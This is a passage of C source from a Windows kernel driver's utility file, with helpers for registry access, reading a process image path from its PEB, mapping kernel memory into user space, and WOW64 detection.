if (*Data = M_ALLOC(ValueInformation->DataLength))
{
RtlCopyMemory(
*Data,
(PUCHAR)ValueInformation + ValueInformation->DataOffset,
ValueInformation->DataLength
);
*DataSize = ValueInformation->DataLength;
bRet = TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n");
}
}
else
{
// just say about value existance
bRet = TRUE;
}
}
else
{
DbgMsg(
__FILE__, __LINE__,
__FUNCTION__"() ERROR: Bad value type (%d)\n",
ValueInformation->Type
);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ZwQueryValueKey() fails; status: 0x%.8x\n", ns);
}
M_FREE(ValueInformation);
}
else
{
DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n");
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ZwQueryValueKey() fails; status: 0x%.8x\n", ns);
}
return bRet;
}
//--------------------------------------------------------------------------------------
BOOLEAN RegSetValueKey(HANDLE hKey, PWSTR lpwcName, ULONG Type, PVOID Data, ULONG DataSize)
{
NTSTATUS ns = STATUS_UNSUCCESSFUL;
UNICODE_STRING usValueName;
RtlInitUnicodeString(&usValueName, lpwcName);
ns = ZwSetValueKey(hKey, &usValueName, 0, Type, Data, DataSize);
if (!NT_SUCCESS(ns))
{
DbgMsg(__FILE__, __LINE__, "ZwSetValueKey() fails; status: 0x%.8x\n", ns);
return FALSE;
}
return TRUE;
}
//--------------------------------------------------------------------------------------
#ifdef _X86_
#define PEB_PROCESS_PARAMS_OFFSET 0x10
#define PROCESS_PARAMS_FLAGS_OFFSET 0x08
#define PROCESS_PARAMS_IMAGE_NAME_OFFSET 0x38
#elif _AMD64_
#define PEB_PROCESS_PARAMS_OFFSET 0x20
#define PROCESS_PARAMS_FLAGS_OFFSET 0x08
#define PROCESS_PARAMS_IMAGE_NAME_OFFSET 0x60
#endif
#define PROCESS_PARAMETERS_NORMALIZED 1 // pointers are absolute (not self-relative)
BOOLEAN GetProcessFullImagePath(PEPROCESS Process, PUNICODE_STRING ImagePath)
{
BOOLEAN bRet = FALSE;
HANDLE hProcess = NULL;
// get handle to target process
NTSTATUS ns = ObOpenObjectByPointer(
Process,
OBJ_KERNEL_HANDLE,
NULL,
0,
NULL,
KernelMode,
&hProcess
);
if (NT_SUCCESS(ns))
{
PROCESS_BASIC_INFORMATION ProcessInfo;
// get address of PEB
ns = ZwQueryInformationProcess(
hProcess,
ProcessBasicInformation,
&ProcessInfo,
sizeof(ProcessInfo),
NULL
);
if (NT_SUCCESS(ns))
{
KAPC_STATE ApcState;
// change context to target process
KeStackAttachProcess(Process, &ApcState);
__try
{
PUCHAR Peb = (PUCHAR)ProcessInfo.PebBaseAddress;
if (Peb)
{
// get pointer to RTL_USER_PROCESS_PARAMETERS
PUCHAR ProcessParams = *(PUCHAR *)(Peb + PEB_PROCESS_PARAMS_OFFSET);
if (ProcessParams)
{
// get image path
PUNICODE_STRING ImagePathName = (PUNICODE_STRING)
(ProcessParams + PROCESS_PARAMS_IMAGE_NAME_OFFSET);
if (ImagePathName->Buffer && ImagePathName->Length > 0)
{
// allocate string
if (AllocUnicodeString(ImagePath, ImagePathName->Length))
{
PWSTR lpwcName = NULL;
ULONG Flags = *(PULONG)(ProcessParams + PROCESS_PARAMS_FLAGS_OFFSET);
if (Flags & PROCESS_PARAMETERS_NORMALIZED)
{
// pointer to buffer is absolute address
lpwcName = ImagePathName->Buffer;
}
else
{
// pointer to buffer is relative address
lpwcName = (PWSTR)(ProcessParams + (ULONGLONG)ImagePathName->Buffer);
}
if (AppendUnicodeToString(ImagePath, lpwcName, ImagePathName->Length))
{
bRet = TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, "AppendUnicodeToString() ERROR\n");
}
}
else
{
DbgMsg(__FILE__, __LINE__, "AllocUnicodeString() ERROR\n");
}
}
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() EXCEPTION\n");
}
KeUnstackDetachProcess(&ApcState);
}
else
{
// Can't query information about process, probably 'System' or rootkit activity
}
ZwClose(hProcess);
}
else
{
DbgMsg(__FILE__, __LINE__, "ObOpenObjectByPointer() fails; status: 0x%.8x\n", ns);
}
return bRet;
}
//--------------------------------------------------------------------------------------
BOOLEAN AllocateUserMemory(ULONG Size, PMAPPED_MDL MdlInfo)
{
PVOID Buffer = NULL;
MdlInfo->Mdl = NULL;
MdlInfo->Buffer = NULL;
MdlInfo->MappedBuffer = NULL;
// allocate kernel-mode buffer in non-paged pool
Buffer = M_ALLOC(Size);
if (Buffer)
{
// allocate memory descriptor
PMDL Mdl = IoAllocateMdl(Buffer, Size, FALSE, FALSE, NULL);
if (Mdl)
{
PVOID MappedBuffer = NULL;
__try
{
// lock allocated pages
MmProbeAndLockPages(Mdl, KernelMode, IoWriteAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): MmProbeAndLockPages() EXCEPTION\n");
IoFreeMdl(Mdl);
M_FREE(Buffer);
return FALSE;
}
// map allocated pages into the user space
MappedBuffer = MmMapLockedPagesSpecifyCache(
Mdl,
UserMode,
MmCached,
NULL,
FALSE,
NormalPagePriority
);
if (MappedBuffer)
{
MdlInfo->Mdl = Mdl;
MdlInfo->Buffer = Buffer;
MdlInfo->MappedBuffer = MappedBuffer;
return TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): MmMapLockedPagesSpecifyCache() fails\n");
}
MmUnlockPages(Mdl);
IoFreeMdl(Mdl);
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): IoAllocateMdl() fails\n");
}
M_FREE(Buffer);
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): M_ALLOC() fails\n");
}
return FALSE;
}
//--------------------------------------------------------------------------------------
void FreeUserMemory(PMAPPED_MDL MdlInfo)
{
// unmap user-mode address
MmUnmapLockedPages(MdlInfo->MappedBuffer, MdlInfo->Mdl);
// unlock pages
MmUnlockPages(MdlInfo->Mdl);
// free memory descriptor
IoFreeMdl(MdlInfo->Mdl);
// free buffer
M_FREE(MdlInfo->Buffer);
}
//--------------------------------------------------------------------------------------
BOOLEAN IsWow64Process(PEPROCESS Process, BOOLEAN *bIsWow64)
{
HANDLE hProcess = NULL;
NTSTATUS ns = STATUS_UNSUCCESSFUL;
*bIsWow64 = FALSE;
// get handle to target process
ns = ObOpenObjectByPointer(
Process,
OBJ_KERNEL_HANDLE,
NULL,
0,
NULL,
KernelMode,
&hProcess
);
if (NT_SUCCESS(ns))
{
ULONG_PTR Wow64Info = 0;
ns = ZwQueryInformationProcess(
hProcess,
ProcessWow64Information,
&Wow64Info,
sizeof(Wow64Info),
NULL
);
if (NT_SUCCESS(ns))
{
if (Wow64Info)
{
// this is wow64 process
*bIsWow64 = TRUE;
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ZwQueryInformationProcess() fails; status: 0x%.8x\n", ns);
}
ZwClose(hProcess);
return TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, "ObOpenObjectByPointer() fails; status: 0x%.8x\n", ns);
}
return FALSE;
}
//--------------------------------------------------------------------------------------
// EoF